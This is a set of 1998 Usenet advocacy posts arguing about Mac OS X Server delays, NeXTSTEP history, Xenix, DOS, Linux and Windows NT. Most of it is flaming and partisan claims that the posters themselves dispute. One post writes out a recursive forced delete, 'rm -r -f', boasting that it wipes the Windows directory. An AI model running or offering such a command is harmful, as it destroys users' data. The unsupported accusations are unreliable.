phone call from Sven Christer Nilsson, even if it were a termination
notice. I've never gotten a phone call from an international CEO before.
If you can accomplish this, I'd actually be thankful.
But remember, it has to be Sven. I don't want the new Bo calling, that's
small potatoes.
MJP
From: quinlan@intergate.bc.ca
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Fri, 02 Oct 1998 22:15:12 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6v3j9g$jna$1@nnrp1.dejanews.com>
References: <dE1M1.481$dZ.471199@newsfeed.slurp.net> <36074e77.39113826@news.alt.net> <6u1lfo$snd <3614C098.FE19CB7@nstar.net> <6v2m1s$6la@newsb.netnews.att.com>
In article <6v2m1s$6la@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> There are no objective advantages to running DOS on a 286 over running
> say, MacOS on a G3 233 MHz...
A very broad claim that is definately false. There are certain applications
that a user may need that are available for a 286 that are not available for
a G3. For example, I used to use a laser-based timing system that was
connected to an ISA card. This special purpose hardware is available only for
ISA and the software can only be run under DOS. Since that is the only
hardware of it's kind on the market and a G3 cannot use it there is a big
advantage to running DOS on a 286. And, since you used the word "no" at the
beginning of your claim, a single example is all that is needed to make your
claim false.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Date: Fri, 02 Oct 1998 20:16:33 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: Mac OS X Server
Message-ID: <joe.ragosta-0210982016330001@elk86.dol.net>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com>
In article <6v31n9$c84$1@nnrp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> Sal Denaro <sal@panix.com> wrote:
>
> : Apple did not buy OpenStep to sell OpenStep, they bought it to use as
> : the basis of a newer product that uses both OpenStep and Apple
> : technologies.
>
> The way I remember it, Apple had scrapped its internal next-generation OS
> project, and went looking for external solutions to achieve a faster
> turn-around and time to market.
>
> After the new aquisition, Apple was talking about an initial customer
> release of the next-generation OS in the first quarter of '98.
>
> Since the OS didn't ship, the only defense anyone can offer is "yeah, but
> they are adding so much neat stuff".
Actually, it's not so far fetched.
The Premiere release (Q1 98) was supposed to be Rhapsody with no Blue Box.
The Unified release was due Q3 1998 and was to include Blue Box.
They basically cancelled the Premiere release. Unified is now Mac OS X
Server 1.0 and is reasonably close to being on the original schedule.
I don't know why Premiere was canned, but suspect that most of the people
who would have bought it already have it as DR2.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
From: steve@nospam.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: A simple question
Date: 3 Oct 1998 01:12:46 GMT
Organization: Internet Specialties West, Inc.
Message-ID: <6v3tme$4rs$1@news.iswest.net>
References: <01bdee56$93fef640$0100007f@aftermath>
In-Reply-To: <01bdee56$93fef640$0100007f@aftermath>
On 10/02/98, "Brian Odlum" wrote:
>However, I'm confused about the current state of NeXTStep (the SW
>development environment). Is it completely unsupported? Is OpenStep an
>evolutionary replacement? What role exactly does Apple have in all this,
>since they seem to have bought NeXT? Here is my main question:
>
>What combination of currently supported HW and SW most resembles what
>NeXTStep/Mach on black HW used to be? There is probably more than one good
>answer to this question, but that's OK, all opinions and suggestions are
>welcome.
Ok, here's what you missed:
late 80s:
NeXTstep = the original NeXT OS & dev tools
early-mid 90s:
NeXT OS & dev tools ported to Intel, SPARC, and PA-RISC
NeXTstep renamed OpenStep/Mach
OS support dropped for SPARC and PA-RISC
late 90s:
Apple buys NeXT, and NeXT management takes over Apple
OpenStep/Mach renamed "Rhapsody" and ported to PPC.
Some Apple libs like Quicktime and a Mac emulator are added and
a Mac UI look added.
This year:
MacOS X = Rhapsody + a C library containing the basic Mac APIs added
to allow native compilation of old Mac OS apps.
So the thing to do is get a copy of Rhapsody/MacOSX for Intel or PPC.
This will have AppKit, IB and all the tools and frameworks that you know
and love. You can even still get most of the NeXTstep look and feel by messing
with the UI dwrites.
You can get it buy joining the Apple developer program.
Best of luck,
Steve Dekorte
From: hughesojh@my-dejanews.com
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: ARGH]:
Date: Sat, 03 Oct 1998 02:23:24 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6v41qr$4k1$1@nnrp1.dejanews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net>
MsLInux?
Isn't that called Xenix or something?
And doesn't it suck?
OJH
In article <no-spam-0110981305500001@port-39-39.access.one.net>,
no-spam@one.net (MojiDoji) wrote:
> In article <3613894a.0@news.together.net>, "Lance Togar" <ltogar@msn.com> wrote:
>
> > >
> > >The verdict should already be in on this one. In the MS/DOJ case, the
> > "smoking"
> > >gun has already been found, yet MS lawyers, of course, said it wasn't
> > really
> > >important and was being taken out of context. The "gun?" Internal memos
> > from MS
> > >developers explaining how to make Win 3 secretly search the users hard
> > drive and
> > >corrupt any comptetor's software, i.s., WriteNow, Nissus, WordPerfect, etc,
> > >causing the user to get so fed up that they would call tech support...who
> > would
> > >recommend that should really be using MS's version of the product (MS Word,
> > etc.)
> > >to assure best performance.
> > ..
> > Or... how about an OS driver searching the SCSI chain for some Apple "mark"
> > and refusing to work and/or work correctly if it's not found? Of course this
> > "mark" has nothing to do with reliability, functionality or the color of the
> > moon but... Apple had the good of the user at heart and doesn't engage in
> > unfair business practices. (gag). Hell, you don't even _need_ memos for this
> > one, it's plain as the nose on your face. Time to get off your high horse.
> > BTW, LILO works just fine with WIN95/98 & NT. NetBEUI over TCP/IP clients
> > for Samba are free for the download on the _MS_ site and NT supports the
> > Mac - rather nicely too. What has Apple done lately?
> > ..
>
> And Macs don't support Windows at all? They've been able to read Windows
> disks for quite a few years. Apple used to make a PC card that shipped
> with DOS and Windows, not to mention the fact that Apple has MkLinux.
> Linux on a Mac...where's MsLinux?
>
> --
> To reply, replace "no-spam" with "mottbi"
>
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: hughesojh@my-dejanews.com
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: ARGH]:
Date: Sat, 03 Oct 1998 02:18:44 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6v41i3$4ga$1@nnrp1.dejanews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net>
I can forgive Apple, because Jobs wears matching socks.
Seriously though.
I am not trying to use NT.
I /was/ trying to use 95.
I only got 95 to work with Linux and OS/2 with LILO after multiple
re-installs.
When you say LILO works fine, do you mean 'Works fine with a little
"tweaking"'?
As for Mac/NT interoperability, wouldn't let an NT box near anything I wanted
to work, so I really wouldn't know...
(Idea for poster:-
1)
Picture of the yorktown, dead in the water.
"WINDOWS NT NEARLY SANK THIS SHIP. JUST IMAGINE WHAT IT COULD DO FOR YOUR
BUSINESS".
)
NT and PC's are like computing in the 1950's.
Sounds like a 'fact' you just made up, BTW.
Don't care what Apple have at heart though.
Don't care if MAC OS doesn't work with your stinking disk.
When I need something actually DOING, I use a Mac.
When I want to stare at a succession of error messages and HourGlasses, I use
NT.
Apple could want nothing less than total control of the Planet earth, and I
wouldn't care, as Long as I got to use Claris Works under their "New Order".
Windoze won't install if it finds a file called windows.com on your harddisk.
Why?
Windoze does it's best to fuck up old installs of dos (the ones you are
keeping around for when WINDOZE TOTALLY BELLY UPS AND TRIES TO TAKE YOUR WORK
WITH IT) by using DOS or MSDOS as some sort of TEMP directory.
Seriously expect me to believe that WINDOZE 98 works properly if Netscape is
installed...?
Owen Hughes
> Or... how about an OS driver searching the SCSI chain for some Apple "mark"
> and refusing to work and/or work correctly if it's not found? Of course this
> "mark" has nothing to do with reliability, functionality or the color of the
> moon but... Apple had the good of the user at heart and doesn't engage in
> unfair business practices. (gag). Hell, you don't even _need_ memos for this
> one, it's plain as the nose on your face. Time to get off your high horse.
> BTW, LILO works just fine with WIN95/98 & NT. NetBEUI over TCP/IP clients
> for Samba are free for the download on the _MS_ site and NT supports the
> Mac - rather nicely too. What has Apple done lately?
> ..
> >No, MS only has the good of the user at heart and doesn't engage in unfair
> >business practices. (gag).
>
>
-----------== Posted via Deja News, The Discussion Network ==----------
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From: hughesojh@my-dejanews.com
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's Unix
Date: Sat, 03 Oct 1998 02:25:37 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6v41v0$68q$1@nnrp1.dejanews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com>
Hah hah.
They gave up on it because they couldn't do it.
Noone would let bill near the bins in their R/D so he couldn't thieve any
print- outs I guess...
Xenix sucks. It is easily the second nastiest OS i have seen and used.
B-A-A-A-D ver. of *NIX.
In article <6v1dn9$cu7$8@supernews.com>,
"Dan" <dan@knowspaam.com> wrote:
> MojiDoji wrote in message ...
>
> >where's MsLinux?
>
> MS gave up on Unix in the late 70's (when the rest of the world should have
> done the same), with their 1st OS ("Microsoft Xenix").... realizing what
> utter hell Unix was.
>
> Dan
>
>
-----------== Posted via Deja News, The Discussion Network ==----------
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From: hughesojh@my-dejanews.com
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's Unix
Date: Sat, 03 Oct 1998 02:31:41 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6v42ad$7fa$1@nnrp1.dejanews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com> <361444B1.A3B92AE9@wenet.net> <6v1ouq$cqb$1@supernews.com>
Childish?
"You can either be my friend or Larry's..." anyone?
DOS stinks.
It is like some sort of Nightmare pre-release dustbin destined 1960's Unix
pre- prototype.
rm -r -f .\EVIL
and I've gotten rid of the whole Windows directory.
Can't do it in dos.
Plenty more stuff like that.
To be fair, Linux is pretty scarey if you're not into reading manuals before
maikng an arse of yourself.
Nice and easy if you read up a bit first.
Not sure what the commands you can do at the prompt on a system are?
cd /usr/bin
and ls
just use SHIFT-PAGEUP to look back up the list.
another thing you can't do on DOZY OS.
Even most Microdirge fans aren't stoo-pid enough to argue that DOZY in anyway
compares to **ix.
In article <6v1ouq$cqb$1@supernews.com>,
"Dan" <dan@knowspaam.com> wrote:
> Corbett Baker wrote in message <361444B1.A3B92AE9@wenet.net>...
> >Dan wrote:
> >
> >> MojiDoji wrote in message ...
> >>
> >> >where's MsLinux?
> >>
> >> MS gave up on Unix in the late 70's (when the rest of the world should
> have
> >> done the same), with their 1st OS ("Microsoft Xenix").... realizing what
> >> utter hell Unix was.
> >>
> >> Dan
> >
> >Yeah Multi-user Z80's and 8080's are a BAD idea, but do you consider DOS
> 1.0
> >any better?
>
> Yes... DOS is far easier to use then Unix... This was part of the whole
> concept behind DOS and the BASIC programming language...i.e., "simplistic"
> ...of course it's not a better server, but this is not the common goal for
> the average computer user. (thinking back to 1980)
>
> >jesus Dan your "unix" experience is most likely 1 hour of using
> >linux without
> >reading anything or knowing anything and saying it is "utter hell"
> >I really wish you would stop making un-educated comments like this, only
> the
> >ignorant take you seriously.
>
> Hmmm.... it's funny how if anyone likes a Microsoft product, or complains
> about a Apple or Unix product someone always accuses them of being an idiot,
> while another accuses them of working for Microsoft.
>
> I've had more then my far share of Linux experience. If it wasn't for NT I
> would consider it... "not half bad."
>
> One thing that makes me hate Linux even more is when a bunch of Linux gurus
> try and convince each other how much Microsoft products suck. Why? Because
> they "have to" *convince* each other... i.e., holding rallyes and starting
> threads of complaints... Because none of it's true... of course, if you all
> say it to each other enough it's starts to sound more and more realistic.
> it's sick.
>
> BTW, during my first explorations into Linux I was not out to hate it... I
> was out to embrace it. People were telling me it's great left and right, and
> how Windows sucks... and I figured it must be pretty cool, so I wrote down a
> list of things I needed (like email, etc.) to make a complete switch.
> ...a few months later, after hours and hours of banging my head against the
> wall trying to get it to work properly, reinstalling endlessly to get Linux
> back to a working state because it was easier then trying to find someone to
> help me fix a problem (which could take days, weeks, even months), etc.,
> etc., etc... I gave up (something I should have done months earlier and
> saved me time).
>
> I don't really care if you guys prefer messing with Linux configuration
> files, wasting your time, instead of getting work done... that's fine. Maybe
> you like that sorta thing... I know a guy that enjoys wrecking his truck,
> just so he can fix it again.
> ...what does piss me off is listening to all the NT complaints when I'm
> sitting here at a NT box that has not crashed or had a reinstall in over a
> year, while Linux had gone down many times before on the same machine. i.e.,
> I'm not going to just sit back and listen to it all.
>
> I don't want to argue though... so I'll probably not respond if you choose
> to flame me. That's not the reason I'm here. I'm here to try and make at
> least one person see what is really going on... instead of being sucked into
> the hate.
>
> >--
> >Windows NT is a piece of cr*p, and almost
> >everybody knows it, but by leveraging on their desktop parts, MS has
> >certainly been able to make a dent in the server and workstation market.
> >
> > Linus Torvalds,
>
> *THIS* is what I dislike about the Linux community.... Linus has clearly
> displayed hatred, and immaturity here. And your proud enough to post this in
> every signature. Linus and Steve Jobs should start their own web page and
> dedicate it to finding new ways to childishly call their competitors
> offensive names, etc.
>
> Dan
>
>
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: mazulauf@atmos.met.utah.edu (Mike Zulauf)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: Sat, 03 Oct 1998 00:24:18 -0600
Organization: Universtity of Utah - Department of Meteorology
Message-ID: <mazulauf-0310980024190001@happy.met.utah.edu>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com> <joe.ragosta-0210982016330001@elk86.dol.net>
NNTP-Posting-Date: 3 Oct 1998 06:24:07 GMT
In article <joe.ragosta-0210982016330001@elk86.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> The Premiere release (Q1 98) was supposed to be Rhapsody with no Blue Box.
> The Unified release was due Q3 1998 and was to include Blue Box.
>
> They basically cancelled the Premiere release. Unified is now Mac OS X
> Server 1.0 and is reasonably close to being on the original schedule.
No, they're not close to being on schedule. Unified was to ship in mid
98. Mid 98 has come and gone, and there is still no sign of it. Have
there been any new rumors as to when it's coming? Not that it would mean
anything, since I've been hearing it was "about a month away" for the last
several months.
October is to be 8.5's month, I doubt they'll bring out Rhapsody then.
Who thinks they'll get it out in November or December and beat the "one
year late" anniversary for releasing the it to the public?
Mike
ps. just as a reminder. . .
From Apple's announcement way back when (dated Jan. 7, 1997):
} Developer Release
} Apple plans a developer release of Rhapsody in mid to late 1997
. . .
} Premier Release
} The first customer release is planned for delivery within 12 months
. . .
} Unified Release
} . . . The unified release of Rhapsody is scheduled for shipment
} in mid 1998
--
Mike Zulauf
mazulauf@atmos.met.utah.edu
From: jmz@southwind.net
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's Unix
Date: Fri, 02 Oct 1998 00:04:24 +0000
Organization: None
Message-ID: <36141887.5B80@southwind.net>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com> <361444B1.A3B92AE9@wenet.net> <6v1ouq$cqb$1@supernews.com> <3614FC12.5BE9@betabreakers.com>
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Josiah Fizer wrote:
>
> Linux is not what I would call a good Unix system. Try Irix, easy to use
> and very powerfull. sun Solaris isn't bad but its more geared to
> ubergeeks than normal people.
Surely,thou jest! I have a SGI and it sits gathering dust until I get a
workable Linux or NetBSD for MIPS CD I can install from.I have both Irix
5.x and 6.x media and I found Irix a complete pain in the ass.
And if Slowlaris is so great,why is 35% of Sun's installed base still
on SunOS-and how come Ross can sell their 32 bit (and SunOS-compatible)
hot rod microSPARC boxes for stupid money?
From: jmz@southwind.net
Newsgroups: comp.sys.next.advocacy
Subject: Re: A simple question
Date: Thu, 01 Oct 1998 23:56:47 +0000
Organization: None
Message-ID: <361416BF.406@southwind.net>
References: <01bdee56$93fef640$0100007f@aftermath> <6v3tme$4rs$1@news.iswest.net>
Mime-Version: 1.0
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steve@nospam.com wrote:
>
> On 10/02/98, "Brian Odlum" wrote:
> >However, I'm confused about the current state of NeXTStep (the SW
> >development environment). Is it completely unsupported? Is OpenStep an
> >evolutionary replacement? What role exactly does Apple have in all this,
> >since they seem to have bought NeXT? Here is my main question:
> >
> >What combination of currently supported HW and SW most resembles what
> >NeXTStep/Mach on black HW used to be? There is probably more than one good
> >answer to this question, but that's OK, all opinions and suggestions are
> >welcome.
>
> Ok, here's what you missed:
>
> late 80s:
> NeXTstep = the original NeXT OS & dev tools
>
> early-mid 90s:
> NeXT OS & dev tools ported to Intel, SPARC, and PA-RISC
> NeXTstep renamed OpenStep/Mach
> OS support dropped for SPARC and PA-RISC
>
> late 90s:
> Apple buys NeXT, and NeXT management takes over Apple
> OpenStep/Mach renamed "Rhapsody" and ported to PPC.
> Some Apple libs like Quicktime and a Mac emulator are added and
> a Mac UI look added.
>
> This year:
> MacOS X = Rhapsody + a C library containing the basic Mac APIs added
> to allow native compilation of old Mac OS apps.
>
> So the thing to do is get a copy of Rhapsody/MacOSX for Intel or PPC.
> This will have AppKit, IB and all the tools and frameworks that you know
> and love. You can even still get most of the NeXTstep look and feel by messing
> with the UI dwrites.
>
> You can get it buy joining the Apple developer program.
He might also consider getting OpenStep 4.2 if it is still available.It
was offered as an Academic Bundle as late as May or June of this year
and supports Intel and Sun SPARC as well as "black" NeXT hw.
Apple's developer program-which I was set to join last year and never
"got a round tuit"-is _much_ less financially appealing than up until a
few months ago.As it stands,joining seems pretty dense given the cost
vs.benefits (or lack thereof).
Of course,a third and perhaps more emotionally difficult,but almost
certainly correct in-the-long-run option,is to face the music and admit
that Apple and Microsoft are as different as Coke and Pepsi or Democrats
and Republicans,and that true alternatives lie elsewhere.
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Sat, 03 Oct 1998 08:48:03 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6v4oc3$352$1@nnrp1.dejanews.com>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <3612920B.E58FCA6E@ericsson.com> <6v02fr$n28@news1.panix.com> <36139693.BCDEEA7C@nstar.net> <6v0mhb$6b@news1.panix.com> <6v1385$4lm$1@nnrp1.dejanews.com> <6v21u9$fm7$1@nnrp1.dejanews.com> <6v2tjj$lqd@news1.panix.com>
In article <6v2tjj$lqd@news1.panix.com>,
sal@panix.com wrote:
> I made the claim that Apple is working to provide a free YB runtime for
> NT, and that the major reason why DPS is being removed from YB it to avoid
> the PS licensing fee. I pointed to statements made by Apple at the WWDC as
> evidence.
>
> If I can not support a statement, I humbly rescind it. This is customary in
> adult conversations.
I don't question the truth value of your claim (though I can see why some
would). I merely point out that you didn't need to make any claim at all. MJP
had the burden of proof and you could have left it on his shoulders.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: leebum@nottowayez.net (Shelton Garner)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Microsoft's Unix
Date: Sat, 03 Oct 1998 17:14:28 GMT
Organization: Airnews.net! at Internet America
Message-ID: <142C07F2128CE5A4.1B3F01B357ED9113.80F002D81BB1BCCA@library-proxy.airnews.net>
References: <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com> <361444B1.A3B92AE9@wenet.net> <6v1ouq$cqb$1@supernews.com>
Abuse-Reports-To: abuse at airmail.net to report improper postings
NNTP-Proxy-Relay: library.airnews.net
NNTP-Posting-Time: Sat Oct 3 12:08:16 1998
Mime-Version: 1.0
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On Thu, 1 Oct 1998 22:29:01 -0700, "Dan" <dan@knowspaam.com> wrote:
>Corbett Baker wrote in message <361444B1.A3B92AE9@wenet.net>...
>>Dan wrote:
>>
>>> MojiDoji wrote in message ...
>>>
>>> >where's MsLinux?
>>>
>>> MS gave up on Unix in the late 70's (when the rest of the world should
>have
>>> done the same), with their 1st OS ("Microsoft Xenix").... realizing what
>>> utter hell Unix was.
>>>
>>> Dan
>>
>>Yeah Multi-user Z80's and 8080's are a BAD idea, but do you consider DOS
>1.0
>>any better?
>
>Yes... DOS is far easier to use then Unix... This was part of the whole
>concept behind DOS and the BASIC programming language...i.e., "simplistic"
>...of course it's not a better server, but this is not the common goal for
>the average computer user. (thinking back to 1980)
>
>
>>jesus Dan your "unix" experience is most likely 1 hour of using
>>linux without
>>reading anything or knowing anything and saying it is "utter hell"
>>I really wish you would stop making un-educated comments like this, only
>the
>>ignorant take you seriously.
>
>Hmmm.... it's funny how if anyone likes a Microsoft product, or complains
>about a Apple or Unix product someone always accuses them of being an idiot,
>while another accuses them of working for Microsoft.
>
>I've had more then my far share of Linux experience. If it wasn't for NT I
>would consider it... "not half bad."
>
>One thing that makes me hate Linux even more is when a bunch of Linux gurus
>try and convince each other how much Microsoft products suck. Why? Because
>they "have to" *convince* each other... i.e., holding rallyes and starting
>threads of complaints... Because none of it's true... of course, if you all
>say it to each other enough it's starts to sound more and more realistic.
>it's sick.
>
>BTW, during my first explorations into Linux I was not out to hate it... I
>was out to embrace it. People were telling me it's great left and right, and
>how Windows sucks... and I figured it must be pretty cool, so I wrote down a
>list of things I needed (like email, etc.) to make a complete switch.
>...a few months later, after hours and hours of banging my head against the
>wall trying to get it to work properly, reinstalling endlessly to get Linux
>back to a working state because it was easier then trying to find someone to
>help me fix a problem (which could take days, weeks, even months), etc.,
>etc., etc... I gave up (something I should have done months earlier and
>saved me time).
>
>I don't really care if you guys prefer messing with Linux configuration
>files, wasting your time, instead of getting work done... that's fine. Maybe
>you like that sorta thing... I know a guy that enjoys wrecking his truck,
>just so he can fix it again.
>...what does piss me off is listening to all the NT complaints when I'm
>sitting here at a NT box that has not crashed or had a reinstall in over a
>year, while Linux had gone down many times before on the same machine. i.e.,
>I'm not going to just sit back and listen to it all.
>
>I don't want to argue though... so I'll probably not respond if you choose
>to flame me. That's not the reason I'm here. I'm here to try and make at
>least one person see what is really going on... instead of being sucked into
>the hate.
Hmmm, I wonder how long it is before the Linux Backlash in the press
happens? Anything that happens too quick is apt to cause that.
>>--
>>Windows NT is a piece of cr*p, and almost
>>everybody knows it, but by leveraging on their desktop parts, MS has
>>certainly been able to make a dent in the server and workstation market.
>>
>> Linus Torvalds,
>
>
>*THIS* is what I dislike about the Linux community.... Linus has clearly
>displayed hatred, and immaturity here. And your proud enough to post this in
>every signature. Linus and Steve Jobs should start their own web page and
>dedicate it to finding new ways to childishly call their competitors
>offensive names, etc.
Oh, since when is telling the truth childish? (At least when it comes
to OSs.) 8-)
L. Shelton Bumgarner -- Keeper of the Great Renaming FAQ
Nattering Nabob of Narcissism * http://www.nottowayez.net/~leebum/
ICQ#: 9393354 * "Whenever you find that you are on the side of the majority, it is time
to reform." -- Mark Twain
Message-ID: <3616C5C2.5354F82@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
References: <3615835C.225B608D@nstar.net> <3615844F.3A485AD3@nstar.net> <EjuR1.314$Ar1.809141@news.rdc1.sdca.home.com> <3616b0bf.0@news.depaul.edu>
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NNTP-Posting-Date: Sat, 03 Oct 1998 20:49:01 EDT
Organization: ISPNews http://ispnews.com
Date: Sat, 03 Oct 1998 19:48:02 -0500
